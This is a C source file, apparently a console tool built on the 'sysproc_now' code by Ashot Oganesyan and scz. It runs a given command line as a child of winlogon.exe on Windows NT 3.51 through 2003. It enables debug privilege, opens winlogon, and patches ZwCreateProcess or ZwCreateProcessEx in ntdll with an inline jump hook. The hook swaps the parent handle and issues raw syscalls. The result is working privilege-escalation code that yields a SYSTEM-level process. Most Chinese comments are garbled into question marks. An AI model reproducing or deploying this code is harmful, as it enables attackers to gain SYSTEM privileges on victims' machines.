// Hackgp.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"

/*
* For x86/EWindows XP SP1 & VC 7
* cl sysproc_now.c /Os /G6 /W3
*
* Support for Windows NT3.51 NT4.0 2000
* (c)1999 Ashot Oganesyan K, SmartLine, Inc
* Ashot Oganesyan K <ashot@aha.ru>
*
* Add support for Windows XP/2003 by scz <scz@nsfocus.com>
* 2003-06-21 21:22
*/

/************************************************************************
*                                                                      *
*                               Head File                              *
*                                                                      *
************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

/************************************************************************
*                                                                      *
*                               Macro                                  *
*                                                                      *
************************************************************************/

#pragma comment( linker, "/subsystem:console" )
#pragma comment( lib,    "kernel32.lib"       )
#pragma comment( lib,    "advapi32.lib"       )

typedef LONG NTSTATUS;

/*
* you'll find a list of NTSTATUS status codes in the DDK header
* ntstatus.h (\WINDDK\2600.1106\inc\ddk\wxp\)
*/
#define NT_SUCCESS(status)          ((NTSTATUS)(status)>=0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

/*
*************************************************************************
* ntddk.h
*/

typedef LONG KPRIORITY;

/*
* ntddk.h
*************************************************************************
*/

/*
*************************************************************************
* ntdef.h
*/

typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES
{
    ULONG           Length;
    HANDLE          RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG           Attributes;
    PVOID           SecurityDescriptor;
    PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

/*
* ntdef.h
*************************************************************************
*/

/*
*************************************************************************
* <<Windows NT/2000 Native API Reference>> - Gary Nebbett
*/

typedef enum _SYSTEM_INFORMATION_CLASS
{
    SystemProcessesAndThreadsInformation = 5
} SYSTEM_INFORMATION_CLASS;

/*
* Information Class 5
*
* ??????,??InheritedFromProcessId????????
*/
typedef struct _SYSTEM_PROCESSES
{
    ULONG          NextEntryDelta;
    ULONG          ThreadCount;
    ULONG          Reserved1[6];
    LARGE_INTEGER  CreateTime;
    LARGE_INTEGER  UserTime;
    LARGE_INTEGER  KernelTime;
    UNICODE_STRING ProcessName;
    KPRIORITY      BasePriority;
    ULONG          ProcessId;
    ULONG          InheritedFromProcessId;
} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;

/*
* <<Windows NT/2000 Native API Reference>> - Gary Nebbett
*************************************************************************
*/

/*
* ??DDK????<<Windows NT/2000 Native API Reference>> - Gary Nebbett
* ??Native API?ntdll.dll??
*/
typedef ULONG    ( __stdcall *RTLNTSTATUSTODOSERROR    ) ( IN NTSTATUS Status );
typedef NTSTATUS ( __stdcall *ZWCREATEPROCESS          ) ( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE InheritFromProcessHandle, IN BOOLEAN InheritHandles, IN HANDLE SectionHandle OPTIONAL, IN HANDLE DebugPort OPTIONAL, IN HANDLE ExceptionPort OPTIONAL );
typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION ) ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL );

#pragma pack(push, 1)

typedef struct
{
    unsigned char       mov_eax;
    void               *address;
    unsigned short int  jmp_eax;
} ASMJUMP, *PASMJUMP;

#pragma pack(pop)

/************************************************************************
*                                                                      *
*                            Function Prototype                        *
*                                                                      *
************************************************************************/

static BOOL  DisableCurrentProcessDebugPrivilege
                              ( void );
static BOOL  EnableCurrentProcessDebugPrivilege
                              ( void );
static DWORD GetPidFromProcessName
                              ( wchar_t *ProcessName );
static BOOL  LocateNtdllEntry ( void );
static void  PrintWin32Error  ( char *message, DWORD dwMessageId );
static void  PrintZwError     ( char *message, NTSTATUS status );
static BOOL  SetCurrentProcessPrivilege
                              ( LPCTSTR PrivilegeName, BOOL EnableFlag );
static BOOL  SetPrivilege     ( HANDLE TokenHandle, LPCTSTR PrivilegeName,
                                BOOL EnableFlag );

/************************************************************************
*                                                                      *
*                            Static Global Var                         *
*                                                                      *
************************************************************************/

/*
* ?ntdll.dll???Native API????
*/
static RTLNTSTATUSTODOSERROR    RtlNtStatusToDosError    = NULL;
static ZWCREATEPROCESS          ZwCreateProcess          = NULL;
static ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
/*
* ??XP/2003???Native API,??????,?ZwCreateProcess()???
*/
static PVOID                    ZwCreateProcessEx        = NULL;

/*
* winlogon.exe?????
*/
static HANDLE                   winlogon                 = NULL;
static DWORD                    ZwCreateProcessNum       = 0;
static DWORD                    ZwCreateProcessExNum     = 0;

/************************************************************************/

static BOOL DisableCurrentProcessDebugPrivilege ( void )
{
    return( SetCurrentProcessPrivilege( SE_DEBUG_NAME, FALSE ) );
}  /* end of DisableCurrentProcessDebugPrivilege */

static BOOL EnableCurrentProcessDebugPrivilege ( void )
{
    return( SetCurrentProcessPrivilege( SE_DEBUG_NAME, TRUE ) );
}  /* end of EnableCurrentProcessDebugPrivilege */

static DWORD GetPidFromProcessName ( wchar_t *ProcessName )
{
    NTSTATUS          status;
    PVOID             buf   = NULL;
    ULONG             size  = 1;
    PSYSTEM_PROCESSES proc  = NULL;
    ULONG             delta = 0;
    DWORD             pid   = 0;

    for ( size = 1; ; size *= 2 )
    {
        if ( NULL == ( buf = calloc( size, 1 ) ) )
        {
            fprintf( stderr, "calloc( %u, 1 ) failed\n", size );
            goto GetPidFromProcessName_exit;
        }
        status = ZwQuerySystemInformation( SystemProcessesAndThreadsInformation, buf, size, NULL );
        if ( !NT_SUCCESS( status ) )
        {
            if ( STATUS_INFO_LENGTH_MISMATCH == status )
            {
                free( buf );
                buf = NULL;
            }
            else
            {
                PrintZwError( "ZwQuerySystemInformation() failed", status );
                goto GetPidFromProcessName_exit;
            }
        }
        else
        {
            /*
             * printf( "size = %u\n", size );
             */
            break;
        }
    }  /* end of for */
    proc = ( PSYSTEM_PROCESSES )buf;
    do
    {
        if ( NULL != proc->ProcessName.Buffer )
        {
            if ( 0 == _wcsicmp( ProcessName, proc->ProcessName.Buffer ) )
            {
                pid = proc->ProcessId;
                break;
            }
        }
        delta = proc->NextEntryDelta;
        proc  = ( PSYSTEM_PROCESSES )( ( char * )proc + delta );
    }
    while ( 0 != delta );

GetPidFromProcessName_exit:

    if ( buf != NULL )
    {
        free( buf );
        buf = NULL;
    }
    return( pid );
}  /* end of GetPidFromProcessName */

static void __declspec(naked) HackedZwCreateProcess ( void )
{
    /*
     *********************************************************************
     * ???__asm{}???????????,???????
     */
    __asm
    {
        pushad
        pushfd
    }

    printf( "HackedZwCreateProcess()\n" );

    __asm
    {
        popfd
        popad
    }
    /*
     * ???__asm{}???????????,???????
     *********************************************************************
     */

    /*
     * ?????InheritFromProcessHandle
     * [esp]?????
     */
    __asm
    {
        mov     eax,winlogon
        mov     dword ptr [esp+16],eax
        /*
         * EAX????
         */
        mov     eax,ZwCreateProcessNum
        /*
         * EDX??????
         */
        lea     edx,dword ptr [esp+4]
        int     2Eh
        /*
         * __stdcall????,??????????????
         */
        retn    20h
    }
}  /* end of HackedZwCreateProcess */

#if 0
static void __declspec(naked) HackedZwCreateProcessEx ( void )
{
    /*
     *********************************************************************
     * ???__asm{}???????????,???????
     */
    __asm
    {
        pushad
        pushfd
    }

    printf( "HackedZwCreateProcessEx()\n" );

    __asm
    {
        popfd
        popad
    }
    /*
     * ???__asm{}???????????,???????
     *********************************************************************
     */

    /*
     * ?????InheritFromProcessHandle
     * [esp]?????
     */
    __asm
    {
        mov     eax,winlogon
        mov     dword ptr [esp+16],eax
        /*
         * EAX????
         */
        mov     eax,ZwCreateProcessExNum
        /*
         * EDX??????
         */
        lea     edx,dword ptr [esp+4]
        int     2Eh
        /*
         * __stdcall????,??????????????????????
         * ?,?????????????DWORD?
         */
        retn    24h
    }
}  /* end of HackedZwCreateProcessEx */
#endif

#if 0
static void __declspec(naked) HackedZwCreateProcessEx ( void )
{
    /*
     *********************************************************************
     * ???__asm{}???????????,???????
     */
    __asm
    {
        pushad
        pushfd
    }

    printf( "HackedZwCreateProcessEx()\n" );

    __asm
    {
        popfd
        popad
    }
    /*
     * ???__asm{}???????????,???????
     *********************************************************************
     */

    /*
     * ?????InheritFromProcessHandle
     * [esp]?????
     */
    __asm
    {
        mov     eax,winlogon
        mov     dword ptr [esp+16],eax
        /*
         * EAX????
         */
        mov     eax,ZwCreateProcessExNum
        /*
         * lkd> u 0x7ffe0300
         * SharedUserData!SystemCallStub:
         * 7ffe0300 8bd4             mov     edx,esp
         * 7ffe0302 0f34             sysenter
         * 7ffe0304 c3               ret
         */
        mov     edx,7FFE0300h
        call    edx
        /*
         * __stdcall????,??????????????????????
         * ?,?????????????DWORD?
         */
        retn    24h
    }
}  /* end of HackedZwCreateProcessEx */
#endif

/*
* ????????????????????XP/2003??int 2Eh??????
* ???,sysenter???"????????",??Intel?II?????????
* VC 7???sysenter,??_emit????????
*/
static void __declspec(naked) HackedZwCreateProcessEx ( void )
{
    /*
     *********************************************************************
     * ???__asm{}???????????,???????
     */
    __asm
    {
        pushad
        pushfd
    }

    printf( "HackedZwCreateProcessEx()\n" );

    __asm
    {
        popfd
        popad
    }
    /*
     * ???__asm{}???????????,???????
     *********************************************************************
     */

    /*
     * ?????InheritFromProcessHandle
     * [esp]?????
     */
    __asm
    {
        mov     eax,winlogon
        mov     dword ptr [esp+16],eax
        /*
         * EAX????
         */
        mov     eax,ZwCreateProcessExNum
        call    SystemCallStub
        retn    24h

SystemCallStub:

        mov     edx,esp
        /*
         * 0f34 sysenter
         */
        _emit   0x0f
        _emit   0x34
        ret
    }
}  /* end of HackedZwCreateProcessEx */

/*
* ntdll.dll??????Native API
*/
static BOOL LocateNtdllEntry ( void )
{
    BOOL    ret         = FALSE;
    char    NTDLL_DLL[] = "ntdll.dll";
    HMODULE ntdll_dll   = NULL;

    /*
     * returns a handle to a mapped module without incrementing its
     * reference count
     */
    if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
    {
        PrintWin32Error( "GetModuleHandle() failed", GetLastError() );
        return( FALSE );
    }
    if ( !( RtlNtStatusToDosError = ( RTLNTSTATUSTODOSERROR )GetProcAddress( ntdll_dll, "RtlNtStatusToDosError" ) ) )
    {
        goto LocateNtdllEntry_exit;
    }
    if ( !( ZwCreateProcess = ( ZWCREATEPROCESS )GetProcAddress( ntdll_dll, "ZwCreateProcess" ) ) )
    {
        goto LocateNtdllEntry_exit;
    }
    if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) )
    {
        goto LocateNtdllEntry_exit;
    }
    if ( ZwCreateProcessExNum != 0 )
    {
        if ( !( ZwCreateProcessEx = ( PVOID )GetProcAddress( ntdll_dll, "ZwCreateProcessEx" ) ) )
        {
            goto LocateNtdllEntry_exit;
        }
    }
    ret = TRUE;

LocateNtdllEntry_exit:

    if ( FALSE == ret )
    {
        PrintWin32Error( "GetProcAddress() failed", GetLastError() );
    }
    ntdll_dll = NULL;
    return( ret );
}  /* end of LocateNtdllEntry */

static void PrintWin32Error ( char *message, DWORD dwMessageId )
{
    char *errMsg;

    FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL,
                   dwMessageId,
                   MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
                   ( LPTSTR )&errMsg, 0, NULL );
    fprintf( stderr, "%s: %s", message, errMsg );
    LocalFree( errMsg );
    return;
}  /* end of PrintWin32Error */

static void PrintZwError ( char *message, NTSTATUS status )
{
    char *errMsg;

    FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL,
                   RtlNtStatusToDosError( status ),
                   MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
                   ( LPTSTR )&errMsg, 0, NULL );
    fprintf( stderr, "%s: %s", message, errMsg );
    LocalFree( errMsg );
    return;
}  /* end of PrintZwError */

static BOOL SetCurrentProcessPrivilege ( LPCTSTR PrivilegeName, BOOL EnableFlag )
{
    HANDLE TokenHandle = ( HANDLE )-1;
    BOOL   ret         = TRUE;

    /*
     * Header : Declared in Winbase.h; include Windows.h.
     * Library: Use Advapi32.lib.
     *
     * BOOL OpenProcessToken
     * (
     *     HANDLE  ProcessHandle,
     *     DWORD   DesiredAccess,
     *     PHANDLE TokenHandle
     * );
     */
    if ( FALSE == OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &TokenHandle ) )
    {
        PrintWin32Error( "OpenProcessToken() failed", GetLastError() );
        ret = FALSE;
        goto SetCurrentProcessPrivilege_exit;
    }
    ret = SetPrivilege( TokenHandle, PrivilegeName, EnableFlag );

SetCurrentProcessPrivilege_exit:

    if ( TokenHandle != ( HANDLE )-1 )
    {
        CloseHandle( TokenHandle );
        TokenHandle = ( HANDLE )-1;
    }
    return( ret );
}  /* end of SetCurrentProcessPrivilege */

static BOOL SetPrivilege ( HANDLE TokenHandle, LPCTSTR PrivilegeName, BOOL EnableFlag )
{
    DWORD            error;
    BOOL             ret = TRUE;
    /*
     *
     * typedef struct _TOKEN_PRIVILEGES
     * {
     *     DWORD               PrivilegeCount;
     *     LUID_AND_ATTRIBUTES Privileges[];
     * } TOKEN_PRIVILEGES, *PTOKEN_PRIVILEGES;
     *
     * typedef struct _LUID_AND_ATTRIBUTES
     * {
     *     LUID  Luid;
     *     DWORD Attributes;
     * } LUID_AND_ATTRIBUTES, *PLUID_AND_ATTRIBUTES;
     */
    TOKEN_PRIVILEGES tp  =
    {
        1,
        {
            { { 0, 0 }, 0 }
        }
    };

    if ( EnableFlag == TRUE )
    {
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    }
    /*
     * BOOL LookupPrivilegeValue
     * (
     *     LPCTSTR lpSystemName,
     *     LPCTSTR lpName,
     *     PLUID   lpLuid
     * );
     *
     * ?????????winnt.h????,"NT Defined Privileges"
     */
    if ( FALSE == LookupPrivilegeValue( NULL, PrivilegeName, &tp.Privileges[0].Luid ) )
    {
        PrintWin32Error( "LookupPrivilegeValue() failed", GetLastError() );
        ret = FALSE;
        goto SetPrivilege_exit;
    }
    /*
     * BOOL AdjustTokenPrivileges
     * (
     *     HANDLE            TokenHandle,
     *     BOOL              DisableAllPrivileges,
     *     PTOKEN_PRIVILEGES NewState,
     *     DWORD             BufferLength,
     *     PTOKEN_PRIVILEGES PreviousState,
     *     PDWORD            ReturnLength
     * );
     *
     * The AdjustTokenPrivileges function cannot add new privileges to the
     * access token. It can only enable or disable the token's existing
     * privileges. To determine the token's privileges, call the
     * GetTokenInformation function.
     */
    if ( FALSE == AdjustTokenPrivileges( TokenHandle, FALSE, &tp, sizeof( tp ), NULL, NULL ) )
    {
        PrintWin32Error( "AdjustTokenPrivileges() failed", GetLastError() );
        ret = FALSE;
        goto SetPrivilege_exit;
    }
    else
    {
        error = GetLastError();
        /*
         * ????????????,?????
         *
         * ERROR_NOT_ALL_ASSIGNED
         */
        if ( ERROR_SUCCESS != error )
        {
            PrintWin32Error( "AdjustTokenPrivileges() failed", error );
            ret = FALSE;
            goto SetPrivilege_exit;
        }
    }

SetPrivilege_exit:

    return( ret );
}  /* end of SetPrivilege */

int main ( int argc, char * argv[] )
{
#if 0
    DisableCurrentProcessDebugPrivilege();
    return( EXIT_SUCCESS );
#endif

    OSVERSIONINFO            osversioninfo;
    DWORD                    winlogonPid = 0;
    STARTUPINFO              si          = { sizeof( si ) };
    PROCESS_INFORMATION      pi;
    /*
     * typedef struct _MEMORY_BASIC_INFORMATION
     * {
     *     PVOID  BaseAddress;
     *     PVOID  AllocationBase;
     *     DWORD  AllocationProtect;
     *     SIZE_T RegionSize;
     *     DWORD  State;
     *     DWORD  Protect;
     *     DWORD  Type;
     * } MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;
     */
    MEMORY_BASIC_INFORMATION mbi;
    DWORD                    OldProtect;

    ZeroMemory( &pi, sizeof( pi ) );
    if ( 2 != argc )
    {
        fprintf( stderr, "Usage: %s <command line>\n", argv[0] );
        goto main_exit;
    }
    /*
     * typedef struct _OSVERSIONINFO
     * {
     *     DWORD dwOSVersionInfoSize;
     *     DWORD dwMajorVersion;
     *     DWORD dwMinorVersion;
     *     DWORD dwBuildNumber;
     *     DWORD dwPlatformId;
     *     TCHAR szCSDVersion[128];
     * } OSVERSIONINFO;
     *
     * BOOL GetVersionEx ( LPOSVERSIONINFO lpVersionInfo );
     */
    ZeroMemory( &osversioninfo, sizeof( osversioninfo ) );
    osversioninfo.dwOSVersionInfoSize = sizeof( osversioninfo );
    if ( FALSE == GetVersionEx( &osversioninfo ) )
    {
        PrintWin32Error( "GetVersionEx() failed", GetLastError() );
        goto main_exit;
    }
    printf( "Version %u.%u\n", osversioninfo.dwMajorVersion, osversioninfo.dwMinorVersion );
    if ( osversioninfo.dwPlatformId == VER_PLATFORM_WIN32_NT )
    {
        if ( osversioninfo.dwMajorVersion == 3 && osversioninfo.dwMinorVersion == 51 )
        {
            /*
             * NT 3.51
             */
            ZwCreateProcessNum = 0x1E;
        }
        else if ( osversioninfo.dwMajorVersion == 4 && osversioninfo.dwMinorVersion == 0 )
        {
            /*
             * NT 4.0
             */
            ZwCreateProcessNum = 0x1F;
        }
        else if ( osversioninfo.dwMajorVersion == 5 && osversioninfo.dwMinorVersion == 0 )
        {
            /*
             * 2000
             */
            ZwCreateProcessNum = 0x29;
        }
        else if ( osversioninfo.dwMajorVersion == 5 && osversioninfo.dwMinorVersion == 1 )
        {
            /*
             * XP
             *
             * ???????????,Win32 API/CreateProcess()?????
             * Native API/ZwCreateProcessEx(),??Hook 0x2F???
             */
            ZwCreateProcessExNum = 0x30;
        }
        else if ( osversioninfo.dwMajorVersion == 5 && osversioninfo.dwMinorVersion == 2 )
        {
            /*
             * 2003
             */
            ZwCreateProcessExNum = 0x32;
        }
    }
    if ( ZwCreateProcessNum == 0 && ZwCreateProcessExNum == 0 )
    {
        fprintf( stderr, "Checking your Platform\n" );
        goto main_exit;
    }
    if ( FALSE == LocateNtdllEntry() )
    {
        fprintf( stderr, "LocateNtdllEntry() failed\n" );
        goto main_exit;
    }
    /*
     * ???????,??????winlogon.exe?????
     */
    if ( 0 == ( winlogonPid = GetPidFromProcessName( L"winlogon.exe" ) ) )
    {
        fprintf( stderr, "GetPidFromProcessName() failed\n" );
        goto main_exit;
    }
    EnableCurrentProcessDebugPrivilege();
    /*
     * Header : Declared in Winbase.h; include Windows.h.
     * Library: Use Kernel32.lib.
     *
     * HANDLE OpenProcess
     * (
     *     DWORD dwDesiredAccess,  // access flag
     *     BOOL  bInheritHandle,   // handle inheritance option
     *     DWORD dwProcessId       // process identifier
     * );
     */
    if ( NULL == ( winlogon = OpenProcess( PROCESS_CREATE_PROCESS, TRUE, winlogonPid ) ) )
    {
        PrintWin32Error( "OpenProcess() failed", GetLastError() );
        goto main_exit;
    }
	
    /*
     * DWORD VirtualQuery
     * (
     *     LPCVOID                   lpAddress,  // address of region
     *     PMEMORY_BASIC_INFORMATION lpBuffer,   // information buffer
     *     SIZE_T                    dwLength    // size of buffer
     * );
     */
    ZeroMemory( &mbi, sizeof( mbi ) );
    if ( 0 != ZwCreateProcessNum )
    {
        VirtualQuery( ZwCreateProcess, &mbi, sizeof( mbi ) );
    }
    else
    {
        VirtualQuery( ZwCreateProcessEx, &mbi, sizeof( mbi ) );
    }
    /*
     * BOOL VirtualProtect
     * (
     *     LPVOID lpAddress,      // region of committed pages
     *     SIZE_T dwSize,         // size of the region
     *     DWORD  flNewProtect,   // desired access protection
     *     PDWORD lpflOldProtect  // old protection
     * );
     */
    if ( FALSE == VirtualProtect( mbi.AllocationBase, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &OldProtect ) )
    {
        PrintWin32Error( "VirtualProtect() failed", GetLastError() );
        goto main_exit;
    }
    if ( 0 != ZwCreateProcessNum )
    {
        /*
         * mov eax, HackedZwCreateProcess
         * jmp eax
         */
        ( ( PASMJUMP )ZwCreateProcess )->mov_eax = 0xB8;
        ( ( PASMJUMP )ZwCreateProcess )->address = HackedZwCreateProcess;
        ( ( PASMJUMP )ZwCreateProcess )->jmp_eax = 0xE0FF;
    }
    else
    {
        /*
         * mov eax, HackedZwCreateProcessEx
         * jmp eax
         */
        ( ( PASMJUMP )ZwCreateProcessEx )->mov_eax = 0xB8;
        ( ( PASMJUMP )ZwCreateProcessEx )->address = HackedZwCreateProcessEx;
        ( ( PASMJUMP )ZwCreateProcessEx )->jmp_eax = 0xE0FF;
    }
    /*
     * BOOL CreateProcess
     * (
     *     LPCTSTR               lpApplicationName,    // name of executable module
     *     LPTSTR                lpCommandLine,        // command line string
     *     LPSECURITY_ATTRIBUTES lpProcessAttributes,  // SD
     *     LPSECURITY_ATTRIBUTES lpThreadAttributes,   // SD
     *     BOOL                  bInheritHandles,      // handle inheritance option
     *     DWORD                 dwCreationFlags,      // creation flags
     *     LPVOID                lpEnvironment,        // new environment block
     *     LPCTSTR               lpCurrentDirectory,   // current directory name
     *     LPSTARTUPINFO         lpStartupInfo,        // startup information
     *     LPPROCESS_INFORMATION lpProcessInformation  // process information
     * );
     */
    if ( FALSE == CreateProcess
                  (
                      NULL,
                      argv[1],
                      NULL,
                      NULL,
                      TRUE,
                      CREATE_NEW_CONSOLE | CREATE_NEW_PROCESS_GROUP,
                      NULL,
                      NULL,
                      &si,
                      &pi
                  ) )
    {
        PrintWin32Error( "CreateProcess() failed", GetLastError() );
        goto main_exit;
    }
    /*
     * CreateProcess()??????,?????Unix??exec*()???
     */

main_exit:

    if ( NULL != pi.hThread )
    {
        CloseHandle( pi.hThread );
        pi.hThread = NULL;
    }
    if ( NULL != pi.hProcess )
    {
        CloseHandle( pi.hProcess );
        pi.hProcess = NULL;
    }
    if ( NULL != winlogon )
    {
        CloseHandle( winlogon );
        winlogon = NULL;
    }
    DisableCurrentProcessDebugPrivilege();
    return( EXIT_FAILURE );
}  /* end of main */

